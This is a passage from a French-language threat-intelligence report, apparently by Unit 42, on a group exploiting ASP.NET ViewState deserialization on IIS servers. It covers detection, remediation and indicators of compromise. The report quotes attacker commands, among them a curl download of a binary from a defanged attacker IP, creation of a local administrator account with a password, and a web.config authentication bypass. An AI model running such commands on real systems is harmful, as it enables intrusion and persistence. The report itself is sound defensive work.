observ\u00e9 l\u2019agent de menace interagir avec le r\u00e9pertoire <span style=\"font-family: 'courier new', courier, monospace;\">C:\\NWindows\\NTemp\\Ngen_py<\/span>, mais nous n\u2019avons trouv\u00e9 aucune preuve qu\u2019il y ait stock\u00e9 des outils ou des donn\u00e9es exfiltr\u00e9es.<\/p>\n<h4><a id=\"post-152303-_heading=h.x0k4lyfyot8s\"><\/a>El\u00e9vation et persistance des privil\u00e8ges locaux<\/h4>\n<p>L\u2019agent de menace a principalement r\u00e9alis\u00e9 une \u00e9l\u00e9vation des privil\u00e8ges locaux \u00e0 l\u2019aide d\u2019un fichier binaire C# personnalis\u00e9 nomm\u00e9 <span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>. Ce nom a probablement \u00e9t\u00e9 utilis\u00e9 pour d\u00e9guiser le fichier en \u00e9diteur PDF UPDF.<\/p>\n<p>Le fichier binaire <span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span> semble faire l\u2019objet d\u2019un d\u00e9veloppement actif, si l\u2019on en croit les fonctionnalit\u00e9s partiellement mises en \u0153uvre dans sa base de code. Il utilise l\u2019<a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">exploit GodPotato<\/a> qui utilise de mani\u00e8re abusive les tubes nomm\u00e9s de Windows pour se faire passer pour un service privil\u00e9gi\u00e9 (par exemple, <span style=\"font-family: 'courier new', courier, monospace;\">epmapper<\/span>) et obtenir un acc\u00e8s de niveau SYSTEM.<\/p>\n<p>Bien que le fichier <span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span> puisse ex\u00e9cuter des commandes avec les privil\u00e8ges SYSTEM, il est le plus souvent utilis\u00e9 pour cr\u00e9er un utilisateur local et l\u2019ajouter au groupe des administrateurs locaux\u00a0:<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">c:\\windows\\temp\\111t\\updf.exe -nadm 'support:Sup0rt_1!admin'<\/span><\/li>\n<\/ul>\n<p>Dans un cas, TGR-CRI-0045 a export\u00e9 des fichiers <span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span> (fichiers de configuration ASP.NET) et a modifi\u00e9 les param\u00e8tres d\u2019une page sp\u00e9cifique pour <span style=\"font-family: 'courier new', courier, monospace;\">&lt;allow users=\"*\"\/&gt;<\/span>, contournant potentiellement l\u2019authentification pour l\u2019acc\u00e8s au serveur alternatif. Nous n\u2019avons pas pu confirmer si cette page modifi\u00e9e \u00e9tait une page vuln\u00e9rable existante r\u00e9exploitable par TGR-CRI-0045, ou un webshell.<\/p>\n<h4><a id=\"post-152303-_heading=h.n56zu5ypoa59\"><\/a>T\u00e9l\u00e9chargement de fichiers binaires pr\u00e9par\u00e9s<\/h4>\n<p>La plupart des intrusions observ\u00e9es consistaient \u00e0 utiliser wget ou <span style=\"font-family: 'courier new', courier, monospace;\">curl<\/span> pour t\u00e9l\u00e9charger un fichier binaire ELF nomm\u00e9 <span style=\"font-family: 'courier new', courier, monospace;\">atm<\/span>. Si l\u2019attaquant a utilis\u00e9 curl, il \u00e9tait probablement pr\u00e9existant sur les h\u00f4tes. S\u2019ils ont utilis\u00e9 <span style=\"font-family: 'courier new', courier, monospace;\">wget.exe<\/span>, le fichier a probablement \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9 sur les serveurs cibles en ex\u00e9cutant le payload de t\u00e9l\u00e9chargement de fichiers. Ce fichier binaire atm pourrait soutenir des activit\u00e9s malveillantes sur des serveurs Linux, en cas de mouvement lat\u00e9ral. Voici un exemple de commande curl utilis\u00e9e pour t\u00e9l\u00e9charger le fichier binaire <span style=\"font-family: 'courier new', courier, monospace;\">atm<\/span>\u00a0:<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">curl hxxp:\/\/195.123.240[.]233:443\/atm<\/span><\/li>\n<\/ul>\n<h4><a id=\"post-152303-_heading=h.ope75vvup8vu\"><\/a>TXPortMap<\/h4>\n<p>TGR-CRI-0045 utilisait <a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">TxPortMap<\/a>, un scanner de port Golang et un banner grabber, ex\u00e9cut\u00e9 sous les noms <span style=\"font-family: 'courier new', courier, monospace;\">txp.exe<\/span> ou <span style=\"font-family: 'courier new', courier, monospace;\">txpm.exe<\/span>. Les serveurs internes accessibles ont ainsi pu \u00eatre identifi\u00e9s \u00e0 partir de l\u2019h\u00f4te initialement compromis (patient 0). L\u2019attaquant a ainsi pu cartographier le r\u00e9seau interne et identifier des cibles d\u2019exploitation potentielles.<\/p>\n<h4><a id=\"post-152303-_heading=h.ppzob6ubjpvk\"><\/a>Activit\u00e9s de reconnaissance<\/h4>\n<p>Sur une p\u00e9riode de cinq minutes, l\u2019acteur de la menace a effectu\u00e9 une reconnaissance locale et du r\u00e9seau via du shell assembly, en utilisant les commandes suivantes\u00a0:<\/p>\n<p>Le tableau 1 pr\u00e9sente les commandes de reconnaissance.<\/p>\n<table>\n<tbody>\n<tr>\n<td style=\"text-align: left;\"><strong>Commande<\/strong><\/td>\n<td style=\"text-align: left;\"><strong>Description<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">tasklist<\/span><\/td>\n<td style=\"text-align: left;\">R\u00e9pertorie tous les processus en cours sur le syst\u00e8me<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">ipconfig \/all<\/span><\/td>\n<td style=\"text-align: left;\">Affiche la configuration r\u00e9seau du syst\u00e8me, y compris l\u2019adresse\u00a0IP, les serveurs de noms de domaine (DNS) et l\u2019adresse MAC (Media Access Control)<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">quser<\/span><\/td>\n<td style=\"text-align: left;\">Affiche des informations sur les utilisateurs connect\u00e9s<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">whoami \/all<\/span><\/td>\n<td style=\"text-align: left;\">Affiche l\u2019identit\u00e9 de l\u2019utilisateur actuel et son appartenance \u00e0 un groupe<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">nltest \/domain_trusts<\/span><\/td>\n<td style=\"text-align: left;\">\u00c9num\u00e8re les domaines de confiance<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">net user<\/span><\/td>\n<td style=\"text-align: left;\">R\u00e9pertorie des comptes d\u2019utilisateurs locaux<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">systeminfo<\/span><\/td>\n<td style=\"text-align: left;\">Affiche des informations d\u00e9taill\u00e9es sur le syst\u00e8me, y compris la version du syst\u00e8me d\u2019exploitation et les d\u00e9tails du mat\u00e9riel<\/td>\n<\/tr>\n<tr>\n<td style=\"text-align: left;\"><span style=\"font-family: 'courier new', courier, monospace;\">dir &lt;r\u00e9pertoires de l\u2019utilisateur&gt;<\/span><\/td>\n<td style=\"text-align: left;\">R\u00e9pertorie les fichiers et les r\u00e9pertoires dans les r\u00e9pertoires de l\u2019utilisateur<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><span style=\"font-size: 10pt;\">Tableau\u00a01. Commandes de reconnaissance de l\u2019acteur de la menace.<\/span><\/p>\n<h4><a id=\"post-152303-_heading=h.hn303yyxu43f\"><\/a>Attribution d\u2019un autre nom aux ex\u00e9cutables t\u00e9l\u00e9charg\u00e9s pour \u00e9chapper \u00e0 la d\u00e9fense<\/h4>\n<p>L\u2019assemblage de chargement de fichiers a parfois charg\u00e9 des ex\u00e9cutables avec des noms de fichiers \u00e0 un, deux ou trois\u00a0caract\u00e8res. On ne sait pas s\u2019il s\u2019agit d\u2019une limitation du code assembly lui-m\u00eame ou d\u2019une technique d\u2019\u00e9vasion d\u00e9lib\u00e9r\u00e9e de l\u2019agent de menace pour t\u00e9l\u00e9charger des fichiers sans extension. L\u2019attaquant a ensuite utilis\u00e9 le shell de commande pour renommer ces fichiers avec des extensions valides dans le r\u00e9pertoire de mise \u00e0 disposition, afin de les rendre moins suspects.<\/p>\n<p>Exemples de commandes utilis\u00e9es pour renommer les fichiers\u00a0:<\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\"cmd.exe\" \/c move c:\\windows\\temp\\111t\\tx2 c:\\windows\\temp\\111t\\txp.exe 2&gt;&amp;1<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\"cmd.exe\" \/c move c:\\windows\\temp\\111t\\tx c:\\windows\\temp\\111t\\txpm.exe 2&gt;&amp;1<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">\"cmd.exe\" \/c move c:\\windows\\temp\\111t\\w c:\\windows\\temp\\111t\\wget.exe 2&gt;&amp;1<\/span><\/li>\n<\/ul>\n<p>Apr\u00e8s avoir ex\u00e9cut\u00e9 ses outils et sa reconnaissance, l\u2019agent de menace a supprim\u00e9 tous les outils restants sur le disque et le r\u00e9pertoire\u00a0111t.<\/p>\n<h3><a id=\"post-152303-_heading=h.p5ze78lpjdwq\"><\/a>Attribution et ciblage<\/h3>\n<p>Sur la base de recoupement dans les IoC, les TTP et la victimologie, nous estimons avec un degr\u00e9 de confiance moyen que TGR-CRI-0045 est li\u00e9 \u00e0 Gold Melody.<\/p>\n<p>TGR-CRI-0045 a cibl\u00e9 des organisations en Europe et aux \u00c9tats-Unis. Le groupe semble suivre une approche opportuniste qui correspond \u00e0 son vecteur d\u2019attaque. Depuis le d\u00e9but de l\u2019activit\u00e9 identifi\u00e9e, le groupe a cibl\u00e9 des organisations des secteurs suivants, la plupart d\u2019entre elles \u00e9tant bas\u00e9es aux \u00c9tats-Unis\u00a0:<\/p>\n<ul>\n<li>Valeurs mobili\u00e8res et services d\u2019investissement<\/li>\n<li>Industrie manufacturi\u00e8re - mat\u00e9riaux de construction<\/li>\n<li>Fabrication - r\u00e9fractaires en argile<\/li>\n<li>Fabrication - instruments chirurgicaux\/m\u00e9dicaux<\/li>\n<li>Retail et vente en gros<\/li>\n<li>Hautes technologies<\/li>\n<li>Transport et logistique<\/li>\n<li>Services logiciels pr\u00e9configur\u00e9s<\/li>\n<li>Traitement et pr\u00e9paration des donn\u00e9es<\/li>\n<li>Services financiers<\/li>\n<li>Revendeurs d\u2019articles d\u2019occasion<\/li>\n<li>Services de programmation informatique sur mesure<\/li>\n<\/ul>\n<h3><a id=\"post-152303-_heading=h.uunceksltjld\"><\/a>Implications de l\u2019adoption par les cybercriminels des techniques d\u2019exploitation de services IIS en m\u00e9moire et principaux points \u00e0 retenir pour les \u00e9quipes blue team<\/h3>\n<h4><a id=\"post-152303-_heading=h.bp62c1uqcpg\"><\/a>Acc\u00e8s plus furtif et temps de pr\u00e9sence plus long<\/h4>\n<p>La d\u00e9tection est consid\u00e9rablement entrav\u00e9e par d\u2019attaques en m\u00e9moire. Sans t\u00e9l\u00e9m\u00e9trie appropri\u00e9e, les attaques de d\u00e9s\u00e9rialisationViewState sont pratiquement invisibles. La rem\u00e9diation n\u2019intervient g\u00e9n\u00e9ralement que lorsque de nouvelles cl\u00e9s machine sont g\u00e9n\u00e9r\u00e9es ou que le serveur est mis hors service. Cela permet aux agents de menace, en particulier aux IAB, de conserver un acc\u00e8s \u00e0 long terme et peu visible \u00e0 un ensemble de syst\u00e8mes compromis.<\/p>\n<h4><a id=\"post-152303-_heading=h.5u2his2xk3ni\"><\/a>T\u00e9l\u00e9m\u00e9trie pour les requ\u00eates POST\u00a0: Protection contre une \u00e9ventuelle faiblesse<\/h4>\n<p>Bien que les payloads de d\u00e9s\u00e9rialisation de ViewState puissent \u00eatre envoy\u00e9s via un param\u00e8tre URI dans une requ\u00eate GET, les attaquants incluent g\u00e9n\u00e9ralement le param\u00e8tre <span style=\"font-family: 'courier new', courier, monospace;\">__VIEWSTATE<\/span> dans une requ\u00eate POST. En raison de leur taille et de leur sensibilit\u00e9 potentielle, les requ\u00eates POST sont rarement enregistr\u00e9es par les serveurs IIS, les proxies, les load balancers ou les appliances de s\u00e9curit\u00e9.<\/p>\n<p>Envisagez de mettre en \u0153uvre des solutions qui filtrent et enregistrent les requ\u00eates POST de mani\u00e8re conditionnelle. Les options sont les suivantes\u00a0:<\/p>\n<ul>\n<li>R\u00e8gles de journalisation personnalis\u00e9es<\/li>\n<li>Frameworks d\u2019observabilit\u00e9 web<\/li>\n<li>Agents EDR (d\u00e9tection et r\u00e9ponse sur les terminaux)<\/li>\n<li>Appliances de s\u00e9curit\u00e9 r\u00e9seau<\/li>\n<\/ul>\n<h4><a id=\"post-152303-_heading=h.hv2xty2avxg6\"><\/a>Une autre de d\u00e9tection possible\u00a0: Consignation des \u00e9v\u00e9nements Windows<\/h4>\n<p>Windows peut consigner les \u00e9checs de d\u00e9s\u00e9rialisation des ViewState sous l\u2019ID d\u2019\u00e9v\u00e9nement 1316 dans le journal des \u00e9v\u00e9nements ASP.NET. Examinez ces journaux et v\u00e9rifiez la pr\u00e9sence de fichiers binaires malveillants dans les payloads de l\u2019\u00e9tat de visualisation qui ont \u00e9chou\u00e9. Les ViewState contenant des fichiers binaires ou des donn\u00e9es chiffr\u00e9es (lorsque le chiffrement des \u00e9tats de visualisation est d\u00e9sactiv\u00e9) sont tr\u00e8s suspects.<\/p>\n<h4><a id=\"post-152303-_heading=h.h450up75ji8o\"><\/a>Exploits ponctuels\u00a0: Une approche limit\u00e9e<\/h4>\n<p>TGR-CRI-0045 utilise une approche simpliste de l\u2019exploitation ViewStatee, en chargeant directement un seul assembly stateless. Chaque ex\u00e9cution de commande n\u00e9cessite la r\u00e9exploitation et le rechargement du code assembly(par exemple, en ex\u00e9cutant plusieurs fois le code assembly de t\u00e9l\u00e9chargement de fichiers). Il en va de m\u00eame pour l\u2019ex\u00e9cution d\u2019une nouvelle liste de r\u00e9pertoires ou d\u2019un nouveau processus. Le code assembly, les param\u00e8tres et le code de l\u2019exploit sont soumis et ex\u00e9cut\u00e9s, et les r\u00e9sultats sont renvoy\u00e9s par le biais d\u2019une demande unique. Cette approche unique limite la capacit\u00e9 de l\u2019attaquant \u00e0 interagir avec le syst\u00e8me compromis.<\/p>\n<p>M\u00eame si TGR-CRI-0045 ne d\u00e9ploie pas de webshell persistant (sur le disque ou en m\u00e9moire) via l\u2019exploitation ViewState, les \u00e9quipes de s\u00e9curit\u00e9 doivent \u00eatre conscientes de ce qui suit\u00a0:<\/p>\n<ul>\n<li><strong>Chaque exploit est une opportunit\u00e9<\/strong>\n<ul>\n<li>Chaque tentative d\u2019exploitation offre aux attaquants la possibilit\u00e9 d\u2019ex\u00e9cuter un payload qui peut \u00eatre invisible pour les outils de s\u00e9curit\u00e9 et de surveillance existants.<\/li>\n<\/ul>\n<\/li>\n<li><strong>L\u2019absence d\u2019un webshell ne signifie pas qu\u2019il n\u2019y a pas eu de compromission<\/strong>\n<ul>\n<li>L\u2019absence d\u2019un shell web n\u2019indique pas que le serveur n\u2019a pas \u00e9t\u00e9 exploit\u00e9.<\/li>\n<\/ul>\n<\/li>\n<li><strong>La r\u00e9exploitation est n\u00e9cessaire<\/strong>\n<ul>\n<li>TGR-CRI-0045 doit exploiter le serveur chaque fois qu\u2019il souhaite ex\u00e9cuter un payload, \u00e0 moins qu\u2019il ne charge un module persistant entre les requ\u00eates.<\/li>\n<\/ul>\n<\/li>\n<li><strong>Une exploitation avec \u00e9tat est possible<\/strong>\n<ul>\n<li>Bien que TGR-CRI-0045 d\u00e9ploie des modules sans \u00e9tat, il existe des cas document\u00e9s d\u2019agents de menace d\u00e9ployant des codes .NET assembly pour IIS avec \u00e9tat apr\u00e8s l\u2019exploitation. Ils s\u2019appuient sur des donn\u00e9es stock\u00e9es dans des variables ASP.NET et .NET accessibles au pipeline de traitement web et persistantes entre les requ\u00eates. Le <a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">rapport de CrowdStrike sur IceApple<\/a> est un exemple d\u2019un tel framework.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4><a id=\"post-152303-_heading=h.do9t46wdp9dc\"><\/a>Techniques MITRE ATT&amp;CK<\/h4>\n<ul>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1036\/005\/\" target=\"_blank\" rel=\"noopener\">T1036.005<\/a> - dissimulation\u00a0: mise en correspondance avec le nom ou le lieu l\u00e9gitime (fichier binaire <span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1036\/010\/\" target=\"_blank\" rel=\"noopener\">T1036.010<\/a> - dissimulation\u00a0: dissimulation du nom du compte<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1046\/\" target=\"_blank\" rel=\"noopener\">T1046<\/a> - d\u00e9couverte de services de r\u00e9seau (TxPortMap)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1059\/003\/\" target=\"_blank\" rel=\"noopener\">T1059.003<\/a> - interpr\u00e8te de commandes et de scripts\u00a0: shell de commande Windows (<span style=\"font-family: 'courier new', courier, monospace;\">cmd.exe<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1071\/001\/\" target=\"_blank\" rel=\"noopener\">T1071.001<\/a> - protocole de la couche application\u00a0: protocoles web (\u00e9tat de vue HTTP)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1082\/\" target=\"_blank\" rel=\"noopener\">T1082<\/a> - d\u00e9couverte d\u2019informations sur le syst\u00e8me (<span style=\"font-family: 'courier new', courier, monospace;\">systeminfo, ipconfig<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1105\/\" target=\"_blank\" rel=\"noopener\">T1105<\/a> - transfert d\u2019outils d\u2019ing\u00e9rence (<span style=\"font-family: 'courier new', courier, monospace;\">wget, curl<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1134\/001\/\" target=\"_blank\" rel=\"noopener\">T1134.001<\/a> - manipulation de jetons d\u2019acc\u00e8s\u00a0: usurpation d\u2019identit\u00e9\/vol de jeton (exploit GodPotato dans <span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1136\/001\/\" target=\"_blank\" rel=\"noopener\">T1136.001<\/a> - cr\u00e9ation d\u2019un compte\u00a0: compte local (<span style=\"font-family: 'courier new', courier, monospace;\">updf<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1190\/\" target=\"_blank\" rel=\"noopener\">T1190<\/a> - exploitation d\u2019une application publique (d\u00e9s\u00e9rialisation de l\u2019\u00e9tat de vue)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1217\/\" target=\"_blank\" rel=\"noopener\">T1217<\/a> - d\u00e9couverte d\u2019informations sur le navigateur<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1505\/003\/\" target=\"_blank\" rel=\"noopener\">T1505.003<\/a> - shell web (modification potentielle du <span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span>)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1572\/\" target=\"_blank\" rel=\"noopener\">T1572<\/a> - tunneling de protocole (si utilis\u00e9, bas\u00e9 sur les fonctions import\u00e9es dans le module de t\u00e9l\u00e9chargement de fichiers non r\u00e9cup\u00e9r\u00e9s)<\/li>\n<li><a href=\"https:\/\/attack.mitre.org\/techniques\/T1587\/001\/\" target=\"_blank\" rel=\"noopener\">T1587.001<\/a> - malwares<\/li>\n<\/ul>\n<h3><a id=\"post-152303-_heading=h.ijmla22gdewu\"><\/a>Orientations en mati\u00e8re de rem\u00e9diation et de renforcement<\/h3>\n<h4><a id=\"post-152303-_heading=h.8ern0qf224m\"><\/a>Cl\u00e9s machine<\/h4>\n<p>Les cl\u00e9s machine IIS sont des composants cryptographiques fondamentaux utilis\u00e9s pour authentifier et chiffrer les donn\u00e9es client-serveur. Elles sont essentielles pour les exploits de d\u00e9s\u00e9rialisation de l\u2019\u00e9tat de vue.<\/p>\n<p>Si vous soup\u00e7onnez un exploit de d\u00e9s\u00e9rialisation d\u2019\u00e9tat de vue, v\u00e9rifiez les \u00e9l\u00e9ments suivants dans votre application IIS\u00a0:<\/p>\n<ul>\n<li>Aucun code d\u2019authentification des messages (MAC) de l\u2019\u00e9tat de vue n\u2019est activ\u00e9.\n<ul>\n<li>Pour ce faire, recherchez dans vos fichiers <span style=\"font-family: 'courier new', courier, monospace;\">web.config<\/span> et <span style=\"font-family: 'courier new', courier, monospace;\">machine.config<\/span> les \u00e9l\u00e9ments suivants\u00a0: <a href=\"https:\/\/devblogs.microsoft.com\/dotnet\/farewell-enableviewstatemac\/\" target=\"_blank\" rel=\"noopener\">&lt;<span style=\"font-family: 'courier new', courier, monospace;\">pages enableViewStateMac=\"False\" \/<\/span>&gt;<\/a><\/li>\n<\/ul>\n<\/li>\n<li>Utilisation d\u2019une cl\u00e9 machine compromise<\/li>\n<li>cl\u00e9 machinevol\u00e9e<\/li>\n<\/ul>\n<p>Voici des conseils pour quatre cas possibles\u00a0:<\/p>\n<ul>\n<li>Si la signature MAC de l\u2019\u00e9tat de vue est d\u00e9sactiv\u00e9e, activez-la apr\u00e8s avoir test\u00e9 la stabilit\u00e9 de l\u2019application.<\/li>\n<li>Si la signature MAC de l\u2019\u00e9tat de vue est activ\u00e9e et utilise des cl\u00e9s machine statiques, consid\u00e9rez que les cl\u00e9s sont compromises. Rem\u00e9diez-y en suivant les conseils de <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">Microsoft<\/a> et de <a href=\"https:\/\/zeroed.tech\/blog\/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited\/\" target=\"_blank\" rel=\"noopener\">Zeroed.Tech<\/a>.<\/li>\n<li>Si la signature MAC d\u2019\u00e9tat de vue est activ\u00e9e et qu\u2019elle utilise des cl\u00e9s machine statiques trouv\u00e9es dans des listes compromises connues (par exemple, <a href=\"https:\/\/github.com\/NotSoSecure\/Blacklist3r\/blob\/master\/MachineKey\/AspDotNetWrapper\/AspDotNetWrapper\/Resource\/MachineKeys.txt\" target=\"_blank\" rel=\"noopener\">Blacklist3r<\/a>)\u00a0: R\u00e9initialisez les cl\u00e9s en suivant les conseils de Microsoft ci-dessus, en vous assurant que la nouvelle cl\u00e9 ne figure pas dans cette liste de blocage.<\/li>\n<li>Si la signature MAC d\u2019\u00e9tat de vue est activ\u00e9e et qu\u2019elle utilise des cl\u00e9s machine dynamiques, consid\u00e9rez que les cl\u00e9s sont compromises et r\u00e9g\u00e9n\u00e9rez-les dans le gestionnaire de serveur IIS.<\/li>\n<\/ul>\n<p>Nous vous recommandons vivement de consulter les <a href=\"https:\/\/www.microsoft.com\/en-us\/security\/blog\/2025\/02\/06\/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys\/\" target=\"_blank\" rel=\"noopener\">conseils de Microsoft sur la rem\u00e9diation<\/a> \u00e0 ce sujet.<\/p>\n<h2><a id=\"post-152303-_heading=h.xg8ptxrbbzq5\"><\/a>Conclusion<\/h2>\n<p>Cette investigation r\u00e9v\u00e8le comment TGR-CRI-0045 exploite les techniques IIS en m\u00e9moire pour un acc\u00e8s persistant. L\u2019exploitation des vuln\u00e9rabilit\u00e9s de la d\u00e9s\u00e9rialisation de ViewState pour ASP.NET via les cl\u00e9s machine expos\u00e9es permet une pr\u00e9sence minimale sur le disque et un acc\u00e8s \u00e0 long terme.<\/p>\n<p>Le ciblage opportuniste du groupe et le d\u00e9veloppement continu d\u2019outils soulignent la n\u00e9cessit\u00e9 pour les organisations de donner la priorit\u00e9 \u00e0 l\u2019identification et \u00e0 la correction des cl\u00e9s machine compromises, comme le souligne Microsoft. La nature ponctuelle de l\u2019exploit et les limites de la t\u00e9l\u00e9m\u00e9trie traditionnelle montrent la n\u00e9cessit\u00e9 d\u2019une consignation conditionnelle des requ\u00eates POST et d\u2019une analyse minutieuse du journal des \u00e9v\u00e9nements ASP.NET. Ces mesures facilitent la d\u00e9tection et la r\u00e9ponse lorsque les solutions pour terminaux manquent de visibilit\u00e9 sur ces attaques.<\/p>\n<h3><a id=\"post-152303-_heading=h.kwa53oatwnh9\"><\/a>Protection et att\u00e9nuation des risques par Palo\u00a0Alto\u00a0Networks<\/h3>\n<p>Les clients de Palo\u00a0Alto\u00a0Networks sont mieux prot\u00e9g\u00e9s contre les menaces mentionn\u00e9es ci-dessus gr\u00e2ce aux produits suivants\u00a0:<\/p>\n<ul>\n<li>Les mod\u00e8les de Machine\u00a0Learning d\u2019<a href=\"https:\/\/docs.paloaltonetworks.com\/wildfire\" target=\"_blank\" rel=\"noopener\">Advanced\u00a0WildFire<\/a> ont \u00e9t\u00e9 mis \u00e0 jour sur la base des indicateurs de compromission (IoC) identifi\u00e9s dans cette recherche.<\/li>\n<\/ul>\n<h4><a id=\"post-152303-_heading=h.5ovbnun4txff\"><\/a>Protection des IIS par XDR et XSIAM<\/h4>\n<p>Le module de protection IIS de <a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XDR\" target=\"_blank\" rel=\"noopener\">Cortex XDR<\/a> et <a href=\"https:\/\/docs-cortex.paloaltonetworks.com\/p\/XSIAM\" target=\"_blank\" rel=\"noopener\">XSIAM<\/a> offre des capacit\u00e9s de d\u00e9tection et de pr\u00e9vention de la d\u00e9s\u00e9rialisation de l\u2019\u00e9tat de vue, comme indiqu\u00e9 dans cet article. Ce module est activ\u00e9 par d\u00e9faut.<\/p>\n<p>Si vous pensez que votre entreprise a pu \u00eatre compromise ou si vous faites face \u00e0 une urgence, contactez l\u2019<a href=\"https:\/\/start.paloaltonetworks.com\/contact-unit42.html\" target=\"_blank\" rel=\"noopener\">\u00e9quipe Unit\u00a042 de r\u00e9ponse aux incidents<\/a> ou composez l\u2019un des num\u00e9ros suivants\u00a0:<\/p>\n<ul>\n<li>Am\u00e9rique du Nord Gratuit\u00a0: +1 (866) 486-4842 (866.4.UNIT42)<\/li>\n<li>Royaume-Uni\u00a0: +44\u00a020\u00a03743\u00a03660<\/li>\n<li>Europe et Moyen-Orient\u00a0: +31.20.299.3130<\/li>\n<li>Asie\u00a0: +65.6983.8730<\/li>\n<li>Japon\u00a0: +81\u00a050\u00a01790\u00a00200<\/li>\n<li>Australie\u00a0: +61.2.4062.7950<\/li>\n<li>Inde\u00a0: 00080005045107<\/li>\n<\/ul>\n<p>Palo\u00a0Alto\u00a0Networks a partag\u00e9 ces conclusions avec les autres membres de la Cyber\u00a0Threat\u00a0Alliance (CTA). Les membres de la CTA s\u2019appuient sur ces renseignements pour d\u00e9ployer rapidement des mesures de protection aupr\u00e8s de leurs clients et perturber de mani\u00e8re coordonn\u00e9e les activit\u00e9s des cybercriminels. Cliquez ici pour en savoir plus sur la <a href=\"https:\/\/www.cyberthreatalliance.org\" target=\"_blank\" rel=\"noopener\">Cyber Threat Alliance<\/a>.<\/p>\n<h2><a id=\"post-152303-_heading=h.b3yxpty4nkw5\"><\/a>Indicateurs de compromission<\/h2>\n<p><strong>Hachages d\u2019assemblages .NET r\u00e9fl\u00e9chis\u00a0: <\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">106506ebc7156be116fe5d2a4d662917ddbbfb286007b6ee7a2b01c9536b1ee4<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">87bd7e24af5f10fe1e01cfa640ce26e9160b0e0e13488d7ee655e83118d16697<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">55656f7b2817087183ceedeb4d9b78d3abee02409666bffbe180d6ea87ee20fb<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">18a90b3702776b23f87738b26002e013301f60d9801d83985a57664b133cadd1<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d5d0772cb90d54ac3e3093c1ea9fcd7b878663f7ddd1f96efea0725ce47d46d5<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">b3c085672ac34f1b738879096af5fcd748953116e319367e6e371034366eaeca<\/span><\/li>\n<li>Taille des fichiers\u00a0: variable<\/li>\n<li>Types de fichiers\u00a0: ex\u00e9cutables (DLL)<\/li>\n<li>Description du fichier\u00a0: hachages des assemblages compil\u00e9s observ\u00e9s<\/li>\n<li>M\u00e9thode d\u2019ex\u00e9cution\u00a0: charg\u00e9 par IIS lors de la d\u00e9s\u00e9rialisation<\/li>\n<\/ul>\n<p><strong>Outils de post-exploitation d\u00e9pos\u00e9s sur le disque\u00a0:<\/strong><\/p>\n<ul>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">d4bfaf3fd3d3b670f585114b4619aaf9b10173c5b1e92d42be0611b6a9b1eff2<\/span><\/li>\n<li><span style=\"font-family: 'courier new', courier, monospace;\">c1f66cadc1941b566e2edad0d1f288c93bf060eef383c79638306638b6cefdf8<\/span><\/li>\n<li>Types de fichiers\u00a0: ex\u00e9cutables<\/li>\n<li>Description du fichier\u00a0: <a 